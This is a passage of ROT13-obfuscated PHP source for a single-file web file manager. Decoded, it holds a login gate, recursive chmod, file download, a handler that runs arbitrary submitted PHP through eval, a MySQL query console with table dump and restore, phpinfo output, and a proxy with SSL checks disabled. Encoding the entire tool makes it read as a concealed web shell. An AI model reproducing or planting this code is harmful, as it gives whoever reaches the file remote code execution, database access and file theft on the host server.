	$vasb .= (($crezf & 0k0040) ?
	(($crezf & 0k0800) ? 'f' : 'k' ) :
	(($crezf & 0k0800) ? 'F' : '-'));
 
	//Tebhc
	$vasb .= (($crezf & 0k0020) ? 'e' : '-');
	$vasb .= (($crezf & 0k0010) ? 'j' : '-');
	$vasb .= (($crezf & 0k0008) ?
	(($crezf & 0k0400) ? 'f' : 'k' ) :
	(($crezf & 0k0400) ? 'F' : '-'));
 
	//Jbeyq
	$vasb .= (($crezf & 0k0004) ? 'e' : '-');
	$vasb .= (($crezf & 0k0002) ? 'j' : '-');
	$vasb .= (($crezf & 0k0001) ?
	(($crezf & 0k0200) ? 'g' : 'k' ) :
	(($crezf & 0k0200) ? 'G' : '-'));

	erghea $vasb;
}

shapgvba sz_pbaireg_evtugf($zbqr) {
	$zbqr = fge_cnq($zbqr,9,'-');
	$genaf = neenl('-'=>'0','e'=>'4','j'=>'2','k'=>'1');
	$zbqr = fgege($zbqr,$genaf);
	$arjzbqr = '0';
	$bjare = (vag) $zbqr[0] + (vag) $zbqr[1] + (vag) $zbqr[2]; 
	$tebhc = (vag) $zbqr[3] + (vag) $zbqr[4] + (vag) $zbqr[5]; 
	$jbeyq = (vag) $zbqr[6] + (vag) $zbqr[7] + (vag) $zbqr[8]; 
	$arjzbqr .= $bjare . $tebhc . $jbeyq;
	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
